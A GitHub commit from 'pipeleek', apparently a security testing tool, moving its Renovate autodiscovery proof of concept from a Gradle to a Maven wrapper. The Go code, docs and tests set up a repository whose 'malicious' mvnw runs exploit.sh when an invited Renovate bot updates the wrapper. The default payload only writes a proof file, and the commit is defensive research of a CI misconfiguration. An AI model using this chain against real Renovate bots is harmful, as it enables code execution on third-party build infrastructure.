Skip to content

Commit 55c1eb0

Browse files
authored
fix: disable Renovate PR throttling (#534)
1 parent 176df10 commit 55c1eb0

File tree

9 files changed

+122
-123
lines changed

9 files changed

+122
-123
lines changed

docs/guides/renovate.md

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -56,12 +56,12 @@ The following command creates a repository that includes an exploit script calle
5656
pipeleek gl renovate autodiscovery -g https://gitlab.com -t glpat-[redacted] -v
5757
2025-09-30T07:19:33Z info Created project name=devfe-pipeleek-renovate-autodiscovery-poc url=https://gitlab.com/myuser/devfe-pipeleek-renovate-autodiscovery-poc
5858
2025-09-30T07:19:35Z debug Created file fileName=renovate.json
59-
2025-09-30T07:19:35Z debug Created file fileName=build.gradle
60-
2025-09-30T07:19:36Z debug Created file fileName=gradlew
61-
2025-09-30T07:19:36Z debug Created file fileName=gradle/wrapper/gradle-wrapper.properties
59+
2025-09-30T07:19:35Z debug Created file fileName=pom.xml
60+
2025-09-30T07:19:36Z debug Created file fileName=mvnw
61+
2025-09-30T07:19:36Z debug Created file fileName=.mvn/wrapper/maven-wrapper.properties
6262
2025-09-30T07:19:37Z debug Created file fileName=exploit.sh
63-
2025-09-30T07:19:37Z info This exploit works by using an outdated Gradle wrapper version (7.0) that triggers Renovate to run './gradlew wrapper'
64-
2025-09-30T07:19:37Z info When Renovate updates the wrapper, it executes our malicious gradlew script which runs exploit.sh
63+
2025-09-30T07:19:37Z info This exploit works by using an outdated Maven wrapper version that triggers Renovate to run './mvnw wrapper:wrapper'
64+
2025-09-30T07:19:37Z info When Renovate updates the wrapper, it executes our malicious mvnw script which runs exploit.sh
6565
2025-09-30T07:19:37Z info Make sure to update the exploit.sh script with the actual exploit code
6666
2025-09-30T07:19:37Z info Then wait until the created project is renovated by the invited Renovate Bot user
6767
```

internal/cmd/github/renovate/autodiscovery/autodiscovery.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,9 @@ func NewAutodiscoveryCmd() *cobra.Command {
1818
autodiscoveryCmd := &cobra.Command{
1919
Use: "autodiscovery",
2020
Short: "Create a PoC for Renovate Autodiscovery misconfigurations exploitation",
21-
Long: "Create a repository with a Renovate Bot configuration that will be picked up by an existing Renovate Bot user. The Renovate Bot will execute the malicious Gradle wrapper script during dependency updates, which you can customize in exploit.sh. Note: On GitHub, the bot/user account must proactively accept the invite.",
21+
Long: "Create a repository with a Renovate Bot configuration that will be picked up by an existing Renovate Bot user. The Renovate Bot will execute the malicious Maven wrapper script during dependency updates, which you can customize in exploit.sh. Note: On GitHub, the bot/user account must proactively accept the invite.",
2222
Example: `
23-
# Create a repository and invite the victim Renovate Bot user to it. Uses Gradle wrapper to execute arbitrary code during dependency updates.
23+
# Create a repository and invite the victim Renovate Bot user to it. Uses the Maven wrapper to execute arbitrary code during dependency updates.
2424
pipeleek gh renovate autodiscovery --token ghp_xxxxx --github https://api.github.com --repo-name my-exploit-repo --username renovate-bot-user
2525
`,
2626
Run: func(cmd *cobra.Command, args []string) {
@@ -33,7 +33,7 @@ pipeleek gh renovate autodiscovery --token ghp_xxxxx --github https://api.github
3333
log.Fatal().Err(err).Msg("Failed to bind command flags to configuration keys")
3434
}
3535

36-
if err := config.RequireConfigKeys("github.token", "github.renovate.autodiscovery.repo_name"); err != nil {
36+
if err := config.RequireConfigKeys("github.token"); err != nil {
3737
log.Fatal().Err(err).Msg("required configuration missing")
3838
}
3939

internal/cmd/gitlab/renovate/autodiscovery/autodiscovery.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,9 @@ func NewAutodiscoveryCmd() *cobra.Command {
1818
autodiscoveryCmd := &cobra.Command{
1919
Use: "autodiscovery",
2020
Short: "Create a PoC for Renovate Autodiscovery misconfigurations exploitation",
21-
Long: "Create a project with a Renovate Bot configuration that will be picked up by an existing Renovate Bot user. The Renovate Bot will execute the malicious Gradle wrapper script during dependency updates, which you can customize in exploit.sh.",
21+
Long: "Create a project with a Renovate Bot configuration that will be picked up by an existing Renovate Bot user. The Renovate Bot will execute the malicious Maven wrapper script during dependency updates, which you can customize in exploit.sh.",
2222
Example: `
23-
# Create a project and invite the victim Renovate Bot user to it. Uses Gradle wrapper to execute arbitrary code during dependency updates.
23+
# Create a project and invite the victim Renovate Bot user to it. Uses the Maven wrapper to execute arbitrary code during dependency updates.
2424
pipeleek gl renovate autodiscovery --token glpat-xxxxxxxxxxx --gitlab https://gitlab.mydomain.com --repo-name my-exploit-repo --username renovate-bot-user
2525
2626
# Create a project with a CI/CD pipeline for local testing (requires setting RENOVATE_TOKEN as CI/CD variable)
@@ -37,7 +37,7 @@ pipeleek gl renovate autodiscovery --token glpat-xxxxxxxxxxx --gitlab https://gi
3737
log.Fatal().Err(err).Msg("Failed to bind command flags to configuration keys")
3838
}
3939

40-
if err := config.RequireConfigKeys("gitlab.url", "gitlab.token", "gitlab.renovate.autodiscovery.repo_name"); err != nil {
40+
if err := config.RequireConfigKeys("gitlab.url", "gitlab.token"); err != nil {
4141
log.Fatal().Err(err).Msg("required configuration missing")
4242
}
4343

pkg/github/renovate/autodiscovery/autodiscovery.go

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -33,9 +33,9 @@ func RunGenerate(client *github.Client, repoName, username string) {
3333
time.Sleep(2 * time.Second)
3434

3535
createFile(ctx, client, createdRepo, "renovate.json", pkgrenovate.RenovateJSON)
36-
createFile(ctx, client, createdRepo, "build.gradle", pkgrenovate.BuildGradle)
37-
createFile(ctx, client, createdRepo, "gradlew", pkgrenovate.GradlewScript)
38-
createFile(ctx, client, createdRepo, "gradle/wrapper/gradle-wrapper.properties", pkgrenovate.GradleWrapperProperties)
36+
createFile(ctx, client, createdRepo, "pom.xml", pkgrenovate.PomXML)
37+
createFile(ctx, client, createdRepo, "mvnw", pkgrenovate.MvnwScript)
38+
createFile(ctx, client, createdRepo, ".mvn/wrapper/maven-wrapper.properties", pkgrenovate.MavenWrapperProperties)
3939
createFile(ctx, client, createdRepo, "exploit.sh", pkgrenovate.ExploitScript)
4040

4141
if username == "" {

pkg/gitlab/renovate/autodiscovery/autodiscovery.go

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ import (
1010

1111
var gitlabCiYml = `
1212
# GitLab CI/CD pipeline that runs Renovate Bot for debugging
13-
# This verifies the exploit actually executes during Gradle wrapper update
13+
# This verifies the exploit actually executes during Maven wrapper update
1414
#
1515
# Setup instructions:
1616
# 1. Go to Project Settings > Access Tokens
@@ -69,9 +69,9 @@ func RunGenerate(gitlabUrl, gitlabApiToken, repoName, username string, addRenova
6969

7070
// Create files using shared constants
7171
createFile("renovate.json", pkgrenovate.RenovateJSON, git, int(project.ID), false)
72-
createFile("build.gradle", pkgrenovate.BuildGradle, git, int(project.ID), false)
73-
createFile("gradlew", pkgrenovate.GradlewScript, git, int(project.ID), true)
74-
createFile("gradle/wrapper/gradle-wrapper.properties", pkgrenovate.GradleWrapperProperties, git, int(project.ID), false)
72+
createFile("pom.xml", pkgrenovate.PomXML, git, int(project.ID), false)
73+
createFile("mvnw", pkgrenovate.MvnwScript, git, int(project.ID), true)
74+
createFile(".mvn/wrapper/maven-wrapper.properties", pkgrenovate.MavenWrapperProperties, git, int(project.ID), false)
7575
createFile("exploit.sh", pkgrenovate.ExploitScript, git, int(project.ID), true)
7676

7777
if addRenovateCICD {
@@ -88,7 +88,6 @@ func RunGenerate(gitlabUrl, gitlabApiToken, repoName, username string, addRenova
8888
invite(git, project, username)
8989
}
9090

91-
// Log shared exploit explanation
9291
log.Info().Msg(pkgrenovate.ExploitExplanation)
9392
}
9493

pkg/gitlab/renovate/autodiscovery/autodiscovery_test.go

Lines changed: 66 additions & 71 deletions
Original file line numberDiff line numberDiff line change
@@ -24,78 +24,73 @@ func TestRenovateJsonConfig(t *testing.T) {
2424
assert.Contains(t, pkgrenovate.RenovateJSON, "config:recommended")
2525
})
2626

27+
t.Run("disables PR throttling", func(t *testing.T) {
28+
assert.Contains(t, pkgrenovate.RenovateJSON, `"prConcurrentLimit": 0`)
29+
assert.Contains(t, pkgrenovate.RenovateJSON, `"prHourlyLimit": 0`)
30+
})
31+
2732
t.Run("is valid JSON structure", func(t *testing.T) {
2833
assert.True(t, strings.HasPrefix(strings.TrimSpace(pkgrenovate.RenovateJSON), "{"))
2934
assert.True(t, strings.HasSuffix(strings.TrimSpace(pkgrenovate.RenovateJSON), "}"))
3035
})
3136
}
3237

33-
func TestBuildGradle(t *testing.T) {
34-
t.Run("contains Java plugin", func(t *testing.T) {
35-
assert.Contains(t, pkgrenovate.BuildGradle, "plugins")
36-
assert.Contains(t, pkgrenovate.BuildGradle, "id 'java'")
37-
})
38-
39-
t.Run("uses mavenCentral repository", func(t *testing.T) {
40-
assert.Contains(t, pkgrenovate.BuildGradle, "repositories")
41-
assert.Contains(t, pkgrenovate.BuildGradle, "mavenCentral()")
38+
func TestPomXML(t *testing.T) {
39+
t.Run("contains Maven project metadata", func(t *testing.T) {
40+
assert.Contains(t, pkgrenovate.PomXML, "<project")
41+
assert.Contains(t, pkgrenovate.PomXML, "<groupId>com.example</groupId>")
42+
assert.Contains(t, pkgrenovate.PomXML, "<artifactId>pipeleek-autodiscovery-poc</artifactId>")
4243
})
4344

44-
t.Run("includes guava dependency with old version", func(t *testing.T) {
45-
assert.Contains(t, pkgrenovate.BuildGradle, "dependencies")
46-
assert.Contains(t, pkgrenovate.BuildGradle, "com.google.guava:guava")
47-
assert.Contains(t, pkgrenovate.BuildGradle, "31.0-jre", "Should use old version to trigger update")
45+
t.Run("declares dependency with outdated version", func(t *testing.T) {
46+
assert.Contains(t, pkgrenovate.PomXML, "<dependencies>")
47+
assert.Contains(t, pkgrenovate.PomXML, "<groupId>junit</groupId>")
48+
assert.Contains(t, pkgrenovate.PomXML, "<version>4.12</version>", "Should use old version to trigger update")
4849
})
4950

50-
t.Run("is valid Gradle syntax", func(t *testing.T) {
51-
assert.NotContains(t, pkgrenovate.BuildGradle, "{{{", "Should not contain template placeholders")
52-
assert.NotContains(t, pkgrenovate.BuildGradle, "}}}", "Should not contain template placeholders")
51+
t.Run("is valid XML structure", func(t *testing.T) {
52+
trimmed := strings.TrimSpace(pkgrenovate.PomXML)
53+
assert.True(t, strings.HasPrefix(trimmed, "<project"))
54+
assert.True(t, strings.HasSuffix(trimmed, "</project>"))
5355
})
5456
}
5557

56-
func TestGradlewScript(t *testing.T) {
58+
func TestMvnwScript(t *testing.T) {
5759
t.Run("is a shell script", func(t *testing.T) {
58-
assert.True(t, strings.HasPrefix(pkgrenovate.GradlewScript, "#!/bin/sh"))
60+
assert.True(t, strings.HasPrefix(pkgrenovate.MvnwScript, "#!/bin/sh"))
5961
})
6062

6163
t.Run("executes exploit.sh", func(t *testing.T) {
62-
assert.Contains(t, pkgrenovate.GradlewScript, "sh exploit.sh")
64+
assert.Contains(t, pkgrenovate.MvnwScript, "sh exploit.sh")
6365
})
6466

6567
t.Run("exits successfully to avoid detection", func(t *testing.T) {
66-
assert.Contains(t, pkgrenovate.GradlewScript, "exit 0")
68+
assert.Contains(t, pkgrenovate.MvnwScript, "exit 0")
6769
})
6870

6971
t.Run("contains explanatory comments", func(t *testing.T) {
70-
assert.Contains(t, pkgrenovate.GradlewScript, "Malicious Gradle wrapper")
71-
assert.Contains(t, pkgrenovate.GradlewScript, "Renovate")
72+
assert.Contains(t, pkgrenovate.MvnwScript, "Malicious Maven wrapper")
73+
assert.Contains(t, pkgrenovate.MvnwScript, "Renovate")
7274
})
7375

7476
t.Run("outputs benign message", func(t *testing.T) {
75-
assert.Contains(t, pkgrenovate.GradlewScript, "echo \"Gradle wrapper executed\"")
77+
assert.Contains(t, pkgrenovate.MvnwScript, "echo \"Maven wrapper executed\"")
7678
})
7779
}
7880

79-
func TestGradleWrapperProperties(t *testing.T) {
80-
t.Run("contains required Gradle wrapper properties", func(t *testing.T) {
81-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "distributionBase=GRADLE_USER_HOME")
82-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "distributionPath=wrapper/dists")
83-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "zipStoreBase=GRADLE_USER_HOME")
84-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "zipStorePath=wrapper/dists")
85-
})
86-
87-
t.Run("uses old Gradle version to trigger update", func(t *testing.T) {
88-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "gradle-7.0-bin.zip")
89-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "https\\://services.gradle.org/distributions/")
81+
func TestMavenWrapperProperties(t *testing.T) {
82+
t.Run("contains required Maven wrapper properties", func(t *testing.T) {
83+
assert.Contains(t, pkgrenovate.MavenWrapperProperties, "distributionUrl=")
84+
assert.Contains(t, pkgrenovate.MavenWrapperProperties, "wrapperUrl=")
9085
})
9186

92-
t.Run("has properly escaped URL", func(t *testing.T) {
93-
// The : should be escaped as \: in properties files
94-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "https\\://")
87+
t.Run("uses outdated Maven version to trigger update", func(t *testing.T) {
88+
assert.Contains(t, pkgrenovate.MavenWrapperProperties, "apache-maven/3.8.1")
89+
assert.Contains(t, pkgrenovate.MavenWrapperProperties, "maven-wrapper/3.1.0")
9590
})
9691

9792
t.Run("format is valid properties file", func(t *testing.T) {
98-
lines := strings.Split(pkgrenovate.GradleWrapperProperties, "\n")
93+
lines := strings.Split(pkgrenovate.MavenWrapperProperties, "\n")
9994
for _, line := range lines {
10095
if line == "" {
10196
continue
@@ -273,15 +268,15 @@ func TestRunGenerate_FilesCreated(t *testing.T) {
273268
contentCheck: func(c string) bool { return strings.Contains(c, `"$schema"`) },
274269
executable: false,
275270
},
276-
"build.gradle": {
277-
contentCheck: func(c string) bool { return strings.Contains(c, "plugins") },
271+
"pom.xml": {
272+
contentCheck: func(c string) bool { return strings.Contains(c, "<project") },
278273
executable: false,
279274
},
280-
"gradlew": {
275+
"mvnw": {
281276
contentCheck: func(c string) bool { return strings.Contains(c, "#!/bin/sh") },
282277
executable: true,
283278
},
284-
"gradle/wrapper/gradle-wrapper.properties": {
279+
".mvn/wrapper/maven-wrapper.properties": {
285280
contentCheck: func(c string) bool { return strings.Contains(c, "distributionUrl") },
286281
executable: false,
287282
},
@@ -335,10 +330,10 @@ func TestFileContents_Security(t *testing.T) {
335330
assert.NotContains(t, pkgrenovate.ExploitScript, "api_token")
336331
})
337332

338-
t.Run("gradlew script does not leak information", func(t *testing.T) {
339-
assert.NotContains(t, pkgrenovate.GradlewScript, "password")
340-
assert.NotContains(t, pkgrenovate.GradlewScript, "http://", "Should not contain hardcoded URLs")
341-
assert.NotContains(t, pkgrenovate.GradlewScript, "https://", "Should not contain hardcoded URLs")
333+
t.Run("mvnw script does not leak information", func(t *testing.T) {
334+
assert.NotContains(t, pkgrenovate.MvnwScript, "password")
335+
assert.NotContains(t, pkgrenovate.MvnwScript, "http://", "Should not contain hardcoded URLs")
336+
assert.NotContains(t, pkgrenovate.MvnwScript, "https://", "Should not contain hardcoded URLs")
342337
})
343338

344339
t.Run("no hardcoded attacker infrastructure in defaults", func(t *testing.T) {
@@ -353,14 +348,14 @@ func TestFileContents_Security(t *testing.T) {
353348
}
354349

355350
func TestExploitMechanism(t *testing.T) {
356-
t.Run("requires outdated gradle version", func(t *testing.T) {
357-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "gradle-7.0")
351+
t.Run("requires outdated maven version", func(t *testing.T) {
352+
assert.Contains(t, pkgrenovate.MavenWrapperProperties, "apache-maven/3.8.1")
358353
})
359354

360-
t.Run("malicious gradlew is marked executable", func(t *testing.T) {
355+
t.Run("malicious mvnw is marked executable", func(t *testing.T) {
361356
// This would be tested in the actual RunGenerate function
362-
// where createFile is called with executable=true for gradlew
363-
assert.Contains(t, pkgrenovate.GradlewScript, "#!/bin/sh", "Script must have shebang to be executable")
357+
// where createFile is called with executable=true for mvnw
358+
assert.Contains(t, pkgrenovate.MvnwScript, "#!/bin/sh", "Script must have shebang to be executable")
364359
})
365360

366361
t.Run("exploit.sh is marked executable", func(t *testing.T) {
@@ -369,12 +364,12 @@ func TestExploitMechanism(t *testing.T) {
369364

370365
t.Run("exploitation chain is complete", func(t *testing.T) {
371366
// Verify the exploitation chain:
372-
// 1. gradle-wrapper.properties triggers Renovate to update wrapper
373-
assert.Contains(t, pkgrenovate.GradleWrapperProperties, "gradle-7.0")
367+
// 1. maven-wrapper.properties triggers Renovate to update wrapper
368+
assert.Contains(t, pkgrenovate.MavenWrapperProperties, "apache-maven/3.8.1")
374369

375-
// 2. Renovate executes ./gradlew wrapper
376-
// 3. Our malicious gradlew executes exploit.sh
377-
assert.Contains(t, pkgrenovate.GradlewScript, "sh exploit.sh")
370+
// 2. Renovate executes ./mvnw wrapper:wrapper
371+
// 3. Our malicious mvnw executes exploit.sh
372+
assert.Contains(t, pkgrenovate.MvnwScript, "sh exploit.sh")
378373

379374
// 4. exploit.sh creates proof file
380375
assert.Contains(t, pkgrenovate.ExploitScript, "/tmp/pipeleek-exploit-executed.txt")
@@ -391,9 +386,9 @@ func TestFileNaming(t *testing.T) {
391386
content string
392387
}{
393388
{"renovate config", "renovate.json", pkgrenovate.RenovateJSON},
394-
{"gradle build file", "build.gradle", pkgrenovate.BuildGradle},
395-
{"gradle wrapper script", "gradlew", pkgrenovate.GradlewScript},
396-
{"gradle wrapper properties", "gradle/wrapper/gradle-wrapper.properties", pkgrenovate.GradleWrapperProperties},
389+
{"maven build file", "pom.xml", pkgrenovate.PomXML},
390+
{"maven wrapper script", "mvnw", pkgrenovate.MvnwScript},
391+
{"maven wrapper properties", ".mvn/wrapper/maven-wrapper.properties", pkgrenovate.MavenWrapperProperties},
397392
{"exploit script", "exploit.sh", pkgrenovate.ExploitScript},
398393
{"ci configuration", ".gitlab-ci.yml", gitlabCiYml},
399394
}
@@ -431,20 +426,20 @@ func TestExploitDocumentation(t *testing.T) {
431426
})
432427

433428
t.Run("comments explain the attack mechanism", func(t *testing.T) {
434-
assert.Contains(t, pkgrenovate.GradlewScript, "Malicious Gradle wrapper")
435-
assert.Contains(t, pkgrenovate.GradlewScript, "Renovate")
436-
assert.Contains(t, pkgrenovate.GradlewScript, "artifact update phase")
429+
assert.Contains(t, pkgrenovate.MvnwScript, "Malicious Maven wrapper")
430+
assert.Contains(t, pkgrenovate.MvnwScript, "Renovate")
431+
assert.Contains(t, pkgrenovate.MvnwScript, "artifact update phase")
437432
})
438433
}
439434

440435
func TestLogMessages(t *testing.T) {
441436
// These tests verify that informative log messages are present
442437
// The actual logging would be tested in integration tests
443438

444-
t.Run("mentions gradle wrapper mechanism", func(t *testing.T) {
439+
t.Run("mentions maven wrapper mechanism", func(t *testing.T) {
445440
// This would be checked in the RunGenerate function logs
446441
// For now, verify our template variables contain the right info
447-
assert.Contains(t, pkgrenovate.GradlewScript, "Gradle wrapper")
442+
assert.Contains(t, pkgrenovate.MvnwScript, "Maven wrapper")
448443
})
449444

450445
t.Run("warns about retest procedures", func(t *testing.T) {
@@ -455,12 +450,12 @@ func TestLogMessages(t *testing.T) {
455450
func TestContentQuality(t *testing.T) {
456451
t.Run("all content is non-empty", func(t *testing.T) {
457452
contents := map[string]string{
458-
"pkgrenovate.RenovateJSON": pkgrenovate.RenovateJSON,
459-
"pkgrenovate.BuildGradle": pkgrenovate.BuildGradle,
460-
"pkgrenovate.GradlewScript": pkgrenovate.GradlewScript,
461-
"pkgrenovate.GradleWrapperProperties": pkgrenovate.GradleWrapperProperties,
462-
"pkgrenovate.ExploitScript": pkgrenovate.ExploitScript,
463-
"gitlabCiYml": gitlabCiYml,
453+
"pkgrenovate.RenovateJSON": pkgrenovate.RenovateJSON,
454+
"pkgrenovate.PomXML": pkgrenovate.PomXML,
455+
"pkgrenovate.MvnwScript": pkgrenovate.MvnwScript,
456+
"pkgrenovate.MavenWrapperProperties": pkgrenovate.MavenWrapperProperties,
457+
"pkgrenovate.ExploitScript": pkgrenovate.ExploitScript,
458+
"gitlabCiYml": gitlabCiYml,
464459
}
465460

466461
for name, content := range contents {
@@ -471,7 +466,7 @@ func TestContentQuality(t *testing.T) {
471466
})
472467

473468
t.Run("scripts have proper line endings", func(t *testing.T) {
474-
scripts := []string{pkgrenovate.GradlewScript, pkgrenovate.ExploitScript}
469+
scripts := []string{pkgrenovate.MvnwScript, pkgrenovate.ExploitScript}
475470
for _, script := range scripts {
476471
// Should use Unix line endings
477472
assert.NotContains(t, script, "\r\n", "Scripts should use Unix line endings")

0 commit comments

Comments
 (0)